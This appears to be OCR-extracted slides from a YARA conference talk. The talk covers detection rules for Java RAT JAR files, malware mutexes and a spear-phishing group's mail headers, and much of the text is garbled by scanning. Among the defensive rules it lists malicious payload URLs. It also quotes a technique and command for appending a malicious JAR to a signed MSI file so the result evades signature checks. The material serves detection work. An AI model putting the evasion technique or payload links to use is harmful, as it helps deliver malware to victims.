"autogetofflinelogs™
"autopswdata”
"camdlldata"
"camframe"
"chatdlldata"
"chatmsg"

stopreverse
"stopsearch”
"uninstall”
"updatefromlocal™
"updatefromurl”
"upload”
"uploadprogress™
"windows1ist"

condition:
70 of (Sremcos_cmds®*) or all of ($remcos_str*
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III

file types

Using YARA on “uncommon” or “unusua
Mutexes for DarkComet RAT

mutex malware upatre d
mutex rat adwind
—26_17/ya:a—matches.txt 294 mutex rat cybergate

rat darkcomet [] 2015-05-26 17/x cpn*t 'b70482 a00451795a0ade302. - -
_rat_darkcomet [] 2015-05-26 7”/matcx

matex rat T darkcomert ] 2015-05- 2o 17/report-1T 8 a00451795a0ade302.
rat darkcomet [] 2015-05-26 17/report—f7 3a00451795a0ade302.
rat darkcomet [] 2015-05-2¢ W”/AppLaJ“pn eXe.

mutex:rat:darkcomet (1 2015=-05- ”6 1"’/*":pr'n't -I78317b70 9 1795a0 5302. mutex rat netwirec

mutex rat Xtreme

mutex rat darkcomet
mutex rat div
mutex rat fogels
mutex rat jrat

malwareconfig DarkComet [] 2015
rime BackdoorFynloski mem []
WormAutoItGeneric mem []

icDownloader mem []

T:Gjachwnluade A;d-omeda_mem 2 ' 2 7 pLat : meta:
author = "Tom ueltschi
date = "2015/01"

8]

o

o

ule mutex_rat_darkcomet

| S
= = Lnl

[ SO O8]

o

_17/mutex-created.txt

df . exec< /na strings:
< fmutex_darkcometl = "DC_MUTEX-" nocase

GGUUT</name> fmutex_darkcomet?2 "DCMUTEX-" nocase

fmutex_darkcomet3 = "MS_MUTEX-" nocase

condition:
any of ($mutex*®)
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Outline

Introduction

Automate malware analysis (how far can you go?)

|II

Using YARA on “uncommon” or “unusual” file types
PCAP files
memory-strings & mutexes

JAR’s (Java RAT’s)

“DESKTOP-group” -- Spear Phishing emails & mail headers
YARA for email headers and body
Weird file formats: MSI + JAR || RTF + XLS
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Using YARA on “uncommon” or “unusual” file types

Java RATs and JAR files

2015-1%/ =
zVlo-1%*/%*.Jjar

read fn; do

LU S :f:\. lll";

Siowing

2015-10-239 28/BUREAUCOPI-FT852379523010.jar
2015-10-29 28/BUREAUCOPI-FTI852379523010.jar

S
Java Malware AlienSpy A [] .
/BUREAUCOPI-FT852379523010.jar

:'lr'x“e » - - ~a 26
i Archive: 2015-10-29 28
iz

Length Method Size Cmpr Date Time CRC-32 Name
144 Defl:N 127 12% 2015-09-17 06:11 T7a8c%6a META-INF/MANIFEST.MF
91727 Defl:N 91757 0% 2015-09-17 06:11 ce736535 b.txt
10 Defl:N 12 -20% 2015-09-17 06:11 093b7d79 a.txt
838 Defl:N 461 45% 2015-09-17 06:11 042a4fs utilities/Constans.class
2064 Defl:N 1083 48% 2015-09-17 06:11 639a556f news/RC4.class
2165 Defl:N 1025 53% 2015-09-17 06:11 335587ef news/D.class
1631 Defl:N 775 53% 2015-09-17 06:11 d871fb44 newpackage/Util.class
942 Defl:N 485 49% 2015-09-17 06:11 cdl9e5f9 newpackage/AttributesGetter.class
2026 Defl:N 994 51% 2015-09-17 06:11 5159falc clean/C.class
370 Defl:N 254 31% 2015-09-17 06:11 94f8afée Readdoc.class
751 Defl:N 473 37% 2015-09-17 06:11 89%bdbfé Main.class
797 Defl:N 416 48% 2015-09-17 06:11 37435890 B.class
1748 Defl:N 924 47% 2015-09-17 06:11 d041f9c9 A.class
105213 98786 6% 13 files
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Using YARA on “uncommon” or “unusual” file types

Java RATs and JAR files

A& X 2015—10—29_28/3UREAUCOPI—FT852379523010.jar ool
ce8bfd4fe2lb3dad9dfaSl4ece7864ala 2015—10—29_28/3UREAUCOPI—FT852379523010.jar
Java Malware AlienSpy A [] 2015—10—29_28/3UREAUCOPI—FT852379523010.jar
Archive: 2015—10—29_28/3UREAUCOPI—FT852379523010.jar
Length Method Size Cmpr Date Time CRC-32 Name
144 Defl:N 127 12% 2015-09-17 06:11 7a8c%bé6a | META-INF/MANIFEST.MF
91727 Defl:N 91757 0% 2015-09-17 06:11 ce736535 | b.txt
10 Defl:N 2 -20% 2015-09-17 06:11 093b7d79 | a.txt
1 45% 2015-09-17 06:11 042a4f8f utilities/Constans.class
8% 2015-09-17 06:11 €639a556f news/RC4.class
rule Ja\.'a_Ma]\-;are_A]1'enSpy_A 53% 2015-09-17 06:11 335587ef news/D.class
{ 53% 2015-09-17 06:11 d871fb44 newpackage/Util.class
meta: 49% 2015-09-17 06:11 cdl9e5f9 newpackage/AttributesGetter.class
author = "Tom uveltschi @c_APT_ure” 51% 2015-09-17 06:11 5159falc clean/C.class
date = "2015/10" 31% 2015-09-17 06:11 94fsafée Readdoc.class
) 7% 2015-09-17 06:11 89bbdbfé6 | Main.class
strings: , . 8% 2015-09-17 06:11 37435890 B.class
$mf = "META-INF/MANIFEST.MF 7% 2015-09-17 06:11 d041f9c9 A.class
$datal = "a.txt” T T e e
$data2 = "b.txt cs 13 files

$clsl = "Main.class"

condition:

$mf and all of ($data®) and any of ($cls®)
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Using YARA on “uncommon” or “unusual” file types

Java RATs and JAR files

**% 2015-10-18 17/mtcn_reciept.jar ***
18eccelaSe6475f6477a078fdldbefea 2015-10-18 17/mtcn_reciept.jar

Java Malware JSocket C [] 2015-10-18 17/mtcn_reciept.jar
Archive: 2015-10-18 17/mtcn_reciept.jar

Length Method Size Cmpr Date Time CRC-32 Name
149 Defl:N 131 12% 2015-10-11 16:50 076e3ec2 | META-INF/MANIFEST.MF
105248 Defl:N 104433 1% 2015-10-11 16:50 9447ddf9 | resource/server.dll
10 Defl:N 12 -20% 2015-10-11 16:50 e44b00a9 | resource/password.txt
799 Defl:N 168 79% 2015-10-11 16:50 £5d180b6é main/aaaaNNNDDDDDNNNDDDDDNNNDDI]

B R R R R R

82% 2015-10-11 16:50 eb570434 main/Start.class
79% 2015-10-11 16:50 19622247 main/aaaaNNNDDDDDNNNDDDDDNNNDDI

rule Java_Malware_JSocket_cC s SO T 20 T :
£ ‘ j.class
t meta: N 985 76% 2015-10-11 16:50 b854ddl9 main/aaaaNNNDDDDDNNNDDDDDNNNDDL
author = "Tom Ueltschi @c_APT_ure" | g.class . . .
date = "2015/10" : 81% 2015-10-11 16:50 34a0bfeb main/aaaaNNNDDDDDNNNDDDDDNNNDDI]
N T N N N N N N N N N N N N N N N N N N N N N N N N NN N NN NN NN o.class
strings: : 78% 2015-10-11 16:50 6ébbc874b main/aaaaNNNDDDDDNNNDDDDDNNNDDI
§mf = "META-INF/MANIFEST.MF" | SOSSSSSSiusssiiisssitiisssitiiassitititg r.class
$datal = "resource/password.txt” : 81% 2015-10-11 16:50 54e5fb20 main/aaaaNNNDDDDDNNNDDDDDNNNDDI]
§data2 = "resource/server.dll” R N NN A N N N N NN N N NN NN NN NN NN NN NN NN n.class
L : 89% 2015-10-11 16:50 7e02ff8d main/aaaaNNNDDDDDNNNDDDDDNNNDDL
condition: R IS c.class
¢tmf and all of ($data®) N
112272 23% 11 files
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Java RATs and JAR files

III

file types

%% 2015-10-29 35/mtcnXreciept.jar ***

bd3204fa49430334356eb93b00038edS

Java Malware JSocket D [] 2015-10-29 35/mtcnXreciept.jar

Archive:
Length

146

105248

10

1259

2401

2015-10-29 35/mtcnXreciept.jar

Method Size Cmpr Date

Defl:N 131 10% 2015-10-27
Defl:N 104370 1% 2015-10-27
Defl:N 12 -20% 2015-10-27
Defl:N 478 62% 2015-10-27
Defl:N 993 59% 2015-10-27

rule Java_Malware_JSocket_D

1

meta:

author = "Tom Ueltschi @c_APT_ure"

date = "2015/10"

strings:

¢mf = "META-INF/MANIFEST.MF"
$datal = "java/stubcito.opp”
$data2 = "java/textito.isn”

condition:

¢mf and all of ($data®)

2015-10-29 35/mtcnXreciept.jar

CRC-32 Name

83b6bd75 | META-INF/MANIFEST.MF

a91blac0 | java/stubcito.opp

cca3877d | java/textito.isn

dsfe2d74 main/Start.class

5153b5f2 main/LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLd.class
c8b main/LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLwW.class
39 main/LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLc.class
28f main/LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLYy.class
c40 main/LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLg.class
e26 main/LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLr.class
28a main/LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLu.class

11 files
38
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Using YARA on “uncommon” or “unusual” file types

Java RATs and JAR files

*** 2015-11-25 32/invoice.jar ***
0c8b7e9a033bf68b8588502907523682 2015-11-25 32/invoice.jar
Java Malware JSocket F [] 2015-11-25 32/invoice.jar
Archive: 2015-11-25 32/invoice.jar

Length Method Size Cmpr Date Time CRC-32 Name
122 Defl:N 102 16% 2015-11-24 02:02 de5dfaé6f | META-INF/MANIFEST.MF
109184 Defl:N 108365 1% 2015-11-24 02:02 695cf602 VRIDQMIVWDKRR/50NI10Ori2B/SWOyTxsZ90AwhphKQ/k/8YWxKHSeb20oXDq
nbd/VruX0vugkx3nxdI3/YKAfJoLPEBQ/09R8yuaQXNDPAuVh/oujamgheNwHHBIipTgrP/NZ4MdTNn4gB31lhvyelHYc66Mxyt/Q/w8smJ1D/jsS3b
477 Defl:N 435 9% 2015-11-24 02:02 £8037elf | config/config.perl
2257 Defl:N 1025 55% 2015-11-24 02:02 £1d918bc _main/iliilliiii.class

02:02 2b2d2c49 | main/Start.class
02:02 74db79fa main/Iiliilliil.class

rule Java_Malware_JsSocket_F

i 4 02:02 eeB897ec7 main/iiiiTiilii.class
meta: 1 02:02 2353059c main/IIiiiiTiii.class
author = "Tom Ueltschi @c_APT_ure"” [FEERGFEEErE Ittt bR RSB E e e E SR T-T
date = "2015/12" |4 02:02 05£0c590 main/ITiIITiiII.class
. #4 02:02 33065211 main/iiiTiiTiii.class
strings: , . 4 02:02 4922eefb main/iIIiliIlil.class

tmf = META-INF/MANIFEST.MF"”

$datal = "config/config.per]l 12 files

$data2 = "main/Start.class”

condition:
$mf and all of ($data®)
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III

Using YARA on “uncommon” or “unusua
Java RATs and JAR files

file types
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Outline

Introduction

Automate malware analysis (how far can you go?)

|II

Using YARA on “uncommon” or “unusual” file types
PCAP files
memory-strings & mutexes

JAR’s (Java RAT’s)

“DESKTOP-group” -- Spear Phishing emails & mail headers
YARA for email headers and body
Weird file formats: MSI + JAR || RTF + XLS
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First Hand Knowledge
Analyzing mail headers

Date

From (display-name / email)

Subject

Attachment(s) — Filename(s) / MD5 hash(es) —> Malware Analysis
Message-ID - Malware / RAT Family
X-Mailer / User-Agent - C2 domain / IP / port

X-Source-Auth / X-Sender / Authenticated-Sender
X-Source-IP / X-Originating-IP
Received headers - Client IP
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First Hand Knowledge

Analyzing mail headers = Excel with >140 attack mails

X

£, share

D@ HQRY %R B S = DESKTOP-group_2019-11-24 v8.2.xlsx - Excel B -
Ueltschi Baudenbacher Thomas, 1342

Page Layout Data Q Tell me what you want to do...

Review View

Formulas

File CEOWM  PostMenu  Insert
p— S ©
Fx‘ 4 | Normal 2 Normal ¢ leutra ¢ 2. Autosum
] » 3] Fill -
nditional Format a 2na F C r - Sort & Find
Formatting~ Table € Clear~ Filter ~ Sel
s Editing

Number

E
Attachment(s) [or dropped/downloaded files]

Sending Server [Received headers] Date Subject
POCCA 2015 Satisfaction survey - Questionnaire de

satisfaction.pdf

us
spéciale de
t

TIONNAT
STATISTI

nque  Opportunité
de 1'Ouest) Opportunit
rom WIN-PSNRMH Demande de documents administratifs
.13€.

Banque ch

13€.170.130 Re : L ri
iy i 1'Ouest)

deaphr|

documents
mmuniqué

documents

IMPOTS

rom bangla.net bangla.net: WU Form for Sub Agents {11!
webmail2 bangla.net
messenger@u meeting invitation:

| Mails Overview | | Mail
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Message-ID / DESKTOP-name / X-Mailer

Received: from vmhebé6209%7.ikoula.com (vmhebe2097.ikoula.com [213.246.62.97])
(using TLSvl with cipher DHE-RSA-AES256-SHA (256/25¢6 bits))
(No client certificate regquested)
by [REDACTED] with ESMIPS id 70D32806F7CeE420
for <[REDACTED]>; Sun, 11 Feb 2018 05:09:43 +0100 (CET)
X-No-Relay: not in my network
Received: from 196.183.1.158 (unknown [196.183.31.254])
by vmhebe2097.ikoula.com (Postfix) with ESMIPSA id ASE2F1F0DS973
for <[REDACTED]>; Sun, 11 Feb 2018 05:09:40 +0100 (CET)
MIME-Version: 1.0 — -
From: "BCAO" <servicecourrier@bcao.com> -
Reply-To: servicecourrierfbcao.com ::: @DE SKTOP— OLDS DM{}
To: [REDACTED]
Subject: INFORMATION URGENT !!
Content-Type: multipart/mixed;
boundary="----=_NextPart 001 41A]1 052EODBA.32EC1D85"
X-Mailer: Smart Send 4 1 |
Date: Sun, 1l
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Received header hostname = Message-ID host

- -~

Received: from relayl2.mail.gandi.net ([217.70.178.232])
by [REDACTED] with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA3E84; 05 Apr 2019 18:13:44 +0200

Received: from (unknown [154.0.26.34])
(Authenticated sender: accountsf@maslowgroup.net) DESK-I OPHUHyl PV.

by relayl2.mail.gandi.net (Postfix) with ESMTPSA id 4598
for <[REDACTED]>; Fri, 5 Apr 2019 1l6:13:19 +0000 (UIC)
MIME-Version: 1.0
From: "UPAREP - Clearing House" <Clearing.Houselfupaep.int> @DESKTOP—HUHHITV)
Reply-To: Clearimg.Housel@upasp.int
To: "anne-claude.KELLY@upaep.int; alvaro.psetizkifupu.int™ <[REDACTED]>
Subject: =?windows-12522Q2?Important: Mise =E0 jour r=ES9pertoire_ IFS5 / Upda?=
=?windows-12522Q2?te_directory IFS5?=
Content-Type: multipart/mixed;
boundary="----=_NextPart 001 6EAE 5D306667.4C3E573¢"’
X-Mailer: Smart_Send 4 1 13 |
i, 5 Apr 2019 18:13:15 +0200

<613649150232832260314cpERDESKTOP-HUBM1TV>

Subject: Important: Mise & jo =P 01 / Update directory IFS
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Received hostname (WIN-xxx € DESKTOP-xxx)

Received: from zmail.guce.q:

py lccalhest (zmail.guce.gouv.cl 7.0.0. ; amavi
with ESMTP id Zgyis SeS8kc £ : WIIN-PONRMHOG6EME

Wed, 23 OCC 2019 16:24:59 +0000

L JWIN-PSNRMHSGGEME (unxn;wn [185.136.170.1807])

S~~~

ce.gouv.cl (Peostfix) with ESMTPSA id C20F5S1BD244
>; Wed, 23 Oct 2019 16:24:57 +0000 (GMT)
MIME-Versicn: 1.0
From: "e-impotsf@dgi.gouv.ci" <e-impotsfdgi.gouv.ci>

AT AN
fUu

-U

“'WYWS'IENVEWIISHlXQVC 2=

V5°7552d—213e—495f—332 -0358cb75£fddz2

ﬁf\f‘

.V¢J:51BD244@zmail.guce.gouv.c1>
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Message-ID / (9) Desktop-/ (2) Server-names

'
wn
wn
8l
Q
(D
|
-
o

OLDSDAH
) P-T4UNSD6E

OP-BHMUGOK

Date from

2018-02-08
2018-02-12
2018-02-22

2018-07-04

Date to

2018-02-1¢
2018-06-1¢6
2018~

2018-09-2¢

02-22

Days

v count ~«

d] [d < e e

-HUHAM1TV

2018-07-21

2019-04-05

eIy 9,y

1 '11 ™ '11 'll

OP-DDC429R

>
a
-
-
>
o
-
-
>
L
-
-
>
a
-
-
>
.
-
-
>
L
-
-
-
-

= =EsE m mm

(O O O L T o I s B

oy )
)

T-‘“‘E--fr:;—fl 1881
@DESKTO ‘
WIN-PINRMHSGEMS
WIN-N4R7BBAH231

Message-1ID

Client IP

2019-03-31
2019-05-11
2019-07-18

2019-10-14
2019-10-16
2019-11-06

2019-03-31
2019-08-12
2019-09-25
2019-10-17
2019-10-24
2019-11-06

Date from

Date to

@mailedgell
@mailedgell
@mailedgell

2019-05-28
2019-07-11

2019-10-22

2019-05-2¢
20189-07-0

211 G_N7"
2019-07-2

154.0.26.428 (annette.moukodi)
185.247.228.17 (maloum.aboubakar)
154.0.26.55 (fofou.sonfack)
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Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on any header

1l rule OP5 rfc2822 DESKIOP group msgid : malemail
2 {
meta:
author = "Tom Ueltschi"
description = "DESKTOP-group suspicious message-ids"
date = "2019-09-30"
e Message-ID header
ge-ID head
strings:
Enessage id 01

(Y]
)

IOP-0OLDSDAH" nocase
IOP-BHMUGOK" nocase
. IOP-CBQP7F3" nocase
IOP-HUHM1TV" nocase
. IOP-T4UN9D&" nocase
\IOP-7U3H8EU" nocase
\IOP-DDC429B" nocase
CP-61D188I" nocase
IOP-FKZ2FFAC" nocase

(£35]
)

i
=

-mcssagc id 02

(135
)
>

Smessage id 03 =

oo
)
>

Smessage id 04 =

>

Smessage_id_os =
3message_id_06 =
Smessage_id 07 =
Smessage_id_oi =
Smessage _id 09 =

o
=
>

(35 o
=) )
0 I o B o I 5 I 0 I 0 B 0 I 5 I

M wnnunn n n
LS
=

|
o
=)
=
-

condition:
any of (Smessage_

Reversing 2020 - YARA Summit | Pushing the Barriers of Unique YARA Uses | Tom Ueltschi | TLP-GREEN



Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on any header

group servers : malemail

author = "Tom Ueltschi"
description = "DESKTOP-group suspicious mail servers"”
date = "2019-09-30"

weight = 100

Received headers

0]
ct
M
!_J'
e}
]

"zmail.guce.gouv.ci" nocase

m
M
o
~
m
M

79" nocase

m
31
o

N
m
H
o

w N

190" nocase

m
(a1
o

~
m
(a1

"fofou.sonfack" nocase
"WIN-PONRMHSGEME8" nocase
"WIN-N4R7BBAH231" nocase

"159,.2

m
1
4
‘
m
Mk
I
o O
Y9

m
(a1
o

~
m
(a1
[

m
1
"
‘
m
o
] & n

e

a

m
H
o

N
m
H

m

M

4

“

m

H ok

O O
w0 o

-
"WIN-MB34NNL4KE noc
"mail.sibetons.com" no

m
M
o

~
m
M
o

case
"vmi2T76620. r.net" nocase
"WIN-545KS5 VV nocase

M
M
o
~N
10
M

w N -

~
-
~
-
-~
-
~
=3
~
=3
~
-~
~
-~
~
-
~
-~
-~
-
~
=3
-~
-
~
-

s
s
s
s
s
s
sexver 0O
s
s
s
s
s
s

m
H
4
‘
m

.com” nocase

m
H
o

N
m
H

condition:

Reversing 2020 - YARA Summit | Pushing the Barriers of Unique YARA Uses | Tom Ueltschi | TLP-GREEN



Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on any header

S rfc2822 DESKTIOP group from : malemail

author = "Tom Ueltschi"
description = "DESKTOP-group suspicious mail from"

-~ -

date = "2015-03-30" From header

weight = 10

strings:
Sfroml
Sfroml

Sfroml (
Sfroml

)

"<sc@upap-papu.africa>" nocase
"<info.migrant@visa.ca>" nocase
"<e.esimi@cceibankge.com>" nocase

)

)

"<fofou.sonfack@campost.cm>" nocase

)

o
(L BT SR VAR ON B

"<courrier.bceaolbceao.int>" nocase

$froml sender 10 = "mmedina@sidcao.ci™ nocase
"dortha@israelnwhite.us" nocase
"info2@accensus.gxr" nocase
"ericwanglgrandwayllaw.com" nocase
X- / Auth.-Sender
condition:
any of (Sfroml_')
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Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on body URLs

DESKTOP group urls : malemail

author = "Tom Ueltschi"”

description = "DESKTOP-group suspicious URLs in

"o

date = "2020-03-2¢6"
weight = 100

strings:
Surls O = "finadev-groupe.com" nocase
_bas _a = "ImluYWR1ldilncm9lcGUuY29tc"
_baseé64 b = "ZpbmFkZXYtZ3JvdXBlLmNvb"
_baseé = "maWShZGVZLWdyb3VwZS5jik2"

(

Surls C

0
Surls O

1
1
)1
S$urls 01
condition: Malware family
any of (Surls *)

WSH-RAT

Adwind RAT

Quasar RAT

URLs in body (base64)

URLs

http://finadev-groupe.com/Cheque334221.zip
http://finadev-groupe.com/FACTURES.zip

http://finadev-groupe.com/OV VAILIDE 8877635.

(delivery -> link in email)

http://cloudpassreset.ga/uploads/force/VNC.exe
(powershell downlcocad pavload)
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Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on body URLs

e Florian Roth

YARA v4.0.0

URLs in body (base64)
- new base64 / baseb64wide modifiers

- new modifier "private" suppressing output in matches

strings

- iterators over dicts / strings

- reduced memory footprint

- pe module with "pdb_path" URLs

and more ..

http://finadev-groupe.com/Cheque334221.zip

& Victor M. Alvarez @plusvic - Apr 29
YARA 4.0.0 is out! github.com/VirusTotal/yar...

http://finadev-groupe.com/FACTURES.zip

http://finadev-groupe.com/0V VAILIDE 8877635.zip
(delivery -> link in email)

http://cloudpassreset.ga/uploads/force/VNC.exe
(powershell downlcocad pavload)
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Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on body URLs

Threat Level: Handler on Duty: Brad Duncan

i a » SANS ISC InfoSec Forums Watch ISC TV. Great for NOCs, SOCs and Living Rooms:
ol ¥ [keyword, Domain, Port, IP or Hea m https://isctv.sans.edu

sans@ueltschi.ne H

Sign Up for Freel Forgot Password?

Contact Us «— Next Thread Previous Thread — Learn about the Internet

Storm Center and our
Diary

YARA V4'0,0: BASE64 Strings volunteer InfoSec handlers

Podcasts

o DidierStevens SAN_S
Jobs £ -

Tools YARA version 4.0.0 was released.

)u
B,
Data One of its new features that caught my eye, is base64 strings. SANSFIRE

452 POSTS 2020
FORUMS This is the example rule for the base64 modifier from YARA's documentation: 1€ RANDLER Live Online

June 13-20

Auditing

Diary Discussions

Forensics rule Base64Example1 Choose from

General Discussions { . 30+ hands-on
, strings:

Ind r\ N W

—I\Te:jorri —Qchr ty $a = "This program cannot" baset4 ::u;;:sb th

Network security. u Y the

Penetration Testing condition: industry’s top

Software Security $a

practitioners

Questions?
Feedback? This rule will search for ASCII strings that are possible BASE64-encodings of ASCII string "This program cannot”.

Powered bv the

IPOWELSIIEL Ll Jdowilload payroad)
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Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on body URLs

C O

Threat Leve

— explanation of the technique is at:

. https:/www.leeholmes.com/blog/2019/12/10/searching-for-content-in-base-64-strings-2
Getting started

Contact

Diary

Podcastd = VVriting YARA rules The following rule will search for the three baseé64 permutations of the string "This program

nt a "
Jobs Comments cannot

A Stri
Tools =) Strings

Hexadecimal strings rule Base64Examplel
Data : P

FORUMS O Text strings

Auditina Case-insensitive strings

strings:

$a = "This program cannot" base64

Diary Disd Wide-character strings :aqdf:1'3 It
Forensics %a

General D XOR strings

Industry NJ
Network S
Penetratio

Base64 strings

Searching for full words This will cause YARA to search for these three permutations:

Software § Regular expressions

Questi Private strings VGhpcyBwecm9ncmFtIGNhbm5vd

uestions -

Feedback RoaXMgcHJvZ3JhbSBjYW5ub3
R— UaGlzIHByb2dyYWOgY2Fubm90

String Modifier Summary

Conditions
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Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on any header

N e L

22 DESKTOP group msgid : malemail

e wror Dereecnin Blocked only due to
description = "DESKTOP-group suspicious message-ids" Custom YARA rule

date = "2019-09-30"

weight = 100

action yara_rule src_user recipient subject date

blocked OPS_rfc2822 DESKTOP e-impots@dgi.gouv.ci URGENT E-IMPOTS 2019-10-29 18:52:42
_group_servers 2019-10-29 18:58:52
2019-10-29 18:59:52

blocked OPS _rfc2822 DESKTOP e-impots@dgi.gouv.ci URGENT E-IMPOTS 2019-10-29 19:08:37
_group_servers 2019-10-29 19:09:37

blocked OPS rfc2822 DESKTOP astou.diawara@bsic.ci URGENT SWIF-MT  2019-10-30 06:44:49
_group_servers 103 Q CONFIRMER

Smessage id 08 10O 881" nocase

Smessage _id 09 10O (2 " nocase

condition:
any of (Smessage_id_')
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Why should | care about mail headers
Use YARA rules on raw RFC2822 mails to block on any header

DESKTOP group msgid : malemai

action yara_rule src_user recipient subject date

blocked OPS_rfc2822_DESKTOP_group_servers e-impots@dgi.gouv.ci URGENT E-IMPOTS 2019-10-29 18:52:42
2019-10-29 18:58:52
2019-10-29 18:59:52

OPS_rfc2822_DESKTOP _group_servers e-impots@dgi.gouv.ci URGENT E-IMPOTS 2019-10-29 18:52:42
2019-10-29 18:58:52
2019-10-29 18:59:52

blocked OPS_rfc2822 DESKTOP _group_servers e-impots@dgi.gouv.ci URGENT E-IMPOTS 2019-10-29 19:08:37
2019-10-29 19:09:37

blocked OPS_rfc2822 DESKTOP _group_servers astou.diawara@bsic.ci URGENT SWIF-MT 103 Q CONFIRMER  2019-10-30 06:44:49
blocked OPS_rfc2822 DESKTOP_group_from e-impots@dgi.gouv.ci CONFIRMATION facture N 5546627 2020-02-24 16:33:55

blocked OPS_rfc2822_DESKTOP_group_servers  info@who.int CORONA VIRUS - COVID19: FINANCIAL 2020-04-29 12:18:02
SUPPORT MEASURES

blocked OPS_rfc2822_DESKTOP_group_servers Microsoft postmaster@ Undeliverable: Undeliverable message 2020-05-06 12:38:34
blocked OPS_rfc2822_DESKTOP_group_servers Microsoft postmaster(@ Undeliverable: Undeliverable message 2020-05-15 13:08:26
blocked OPS_rfc2822_DESKTOP_group_servers Microsoft postmaster@ Undeliverable: Undeliverable message 2020-05-15 16:04:36
blocked OPS_rfc2822_DESKTOP_group_servers Microsoft postmaster(@ Undeliverable: Undeliverable message 2020-06-09 17:23:30
blocked OPS_rfc2822_DESKTOP_group_servers Microsoft postmaster@ Undeliverable: Undeliverable message 2020-06-15 12:25:52
blocked OPS_rfc2822_DESKTOP_group_servers Mail postmaster(@ Delivery Status Notification (Failure) 2020-06-17 15:43:45
blocked OPS_rfc2822_DESKTOP_group_servers Mail postmaster@ Delivery Status Notification (Failure) 2020-06-17 16:54:07
blocked OPS_rfc2822_DESKTOP_group_servers Mail postmaster@ Delivery Status Notification (Failure) 2020-06-17 16:54:07
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Outline

* Introduction
* Automate malware analysis (how far can you go?)

* Using YARA on “uncommon” or “unusual” file types
- PCAP files

- memory-strings & mutexes
- JAR’s (Java RAT’s)

> “DESKTOP-group” -- Spear Phishing emails & mail headers
- YARA for email headers and body
- Weird file formats: MSI + JAR | | RTF + XLS
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: MSI + JAR

JAR(zip)

dppende
Scwvhenti =

igue
.i of msi
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“DESKTOP-group” -- Spear Phishing emails & mail headers
Weird file formats: MSI + JAR

. TomU #HomeOffice #SocialDistancing #StaySafe @c_AF
nto the something similar.

W

Securityinbit

1/ Interesting 1
JAR(zip) appet k- chnique has been us
So when the O e.g. 85eb931d0d2717%ae7c1

Funny thing... | was just looking ir

about zip files

file, details bel
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Securityinbits B TomU #HomeOffice #SocialDistancing #StaySafe @c APT_
. Funny thing... | was just looking into the something similar.

1/ Interesting 1
JAR(zIp) appen Same technique has tl &  TomU #HomeOffice #SocialDistancing #StaySafe
So when the O e.g. 85eb931d0d2717 ’ @c_APT ure

about zip files (#Adwind ?)

file, details bel -

Some people might think I'm working on a new

presentation
cc.: @MalwareUtkonos @ChristiaanBeek

#Reversing2020

‘ Christiaan Beek € @ChristiaanBeek - Jun 6

Reversing2020 is all about #Yara, join a great lineup of speakers including
@VK_Intel , @c_APT_ure and myself on June 30th:
register.reversinglabs.com/reversing-2020
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« > cC

& blog.virustotal.com ) f ( f w

Securityinbits @Securnityinbits - Jun 12 _ . . -~ » . . . o

This behaviour could be used to hide and distribute malicious code in MSI signed files, in fact several security
1 Interesting teCth ue used by #R datly sam p|€' for solutions rely on the output of Microsoft Windows code signing validation to avoid an in-depth scan when the file has
ARlel appen ded to MSI avalid signature by a well-known and trusted software developer. Such an attack vector is not very interesting if the
So when the OS sees iar- ext it executes jre to handl resulting file is not designed to execute the attached payload, because the attacker would need an additional
) y component already running in the target to extract and execute the appended malicious code. However, JAR files

about zip files are read from bottom to top so jar is

B ) have a characteristic that allows them to run directly in this scenario, making them the perfect candidate to take
a e = helAw o e
file, details below advantage of this situation.

A JAR file allows Java runtimes to efficiently deploy an entire application, including its classes and their associated
eV eI A BN T he interesting part for exploiting the commented scenario is the JAR file format is
based on ZIP to store the different components and resources, and this kind of ZIP is correctly identified by the
presence of an end of central directory record which is located at the end of the archive to allow the easy appending
of new files.[3] When Java opens a JAR file it looks at the end instead of the beginning of the file, so a JAR file is
executed independently of the data at the beginning of the file. In addition, on Microsoft Windows systems, the Java
Runtime Environment's installation program will register a default association for JAR files so that double-clicking a
JAR file on the desktop will automatically run it with "javaw -jar". Dependent extensions bundled with the application
ill also be loaded automatically. This feature makes the end-user runtime environment easier to use on Microsoft
indows systems.[4]

In short, an attacker can append a malicious JAR to a MSI file signed by a trusted software developer (like Microsoft
Corporation, Google Inc. or any other well-known developer), and the resulting file can be renamed with the jar
extension and will have a valid signature according Microsoft Windows. For example, via the command "copy /b
signed.msi + malicious.jar signed_malicious.jar". The victim can be infected with just a double-click in such a file.

This attack vector was detected in a sample sent to VirusTotal and flagged by VirusTotal Monitor (a service to detect

and avoid false positives).[5] We have not found evidence of this technique being used massively to distribute

malware.
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e Securityinbit {Security—in-bits} Home Malware Analysis Subscribe Q vy o 0O
Wrote detailed blog post on this Interesting tactic used
by #Ratty & #Adwind for distribution of JAR appended
to signed MSI

Yara rule

Interesting tactic by Ratty & Adwind for distribution of JAR
appended to signed MSI

nd, binwalk Viewer, file, 1oCs, JAR

This article discusses an interesting tactic actively used by different Java RAT malware authors like Ratty & Adwind used this technique to distribute

securityinbits.com/malware-analys...

Dbaberperv

@ ForensiclTGuy @nightwatchcyber

malicious JAR appended to signed MSiI files. This technique was discovered by VT Team in Aug 2018[! but that time it was not used by malware authors

to distribute malicious JAR files. Thanks to EKTracker tweet!"], where | found this interesting Ratty hashes using this technique.

CONTENTS
MS! File +

CONTENTS
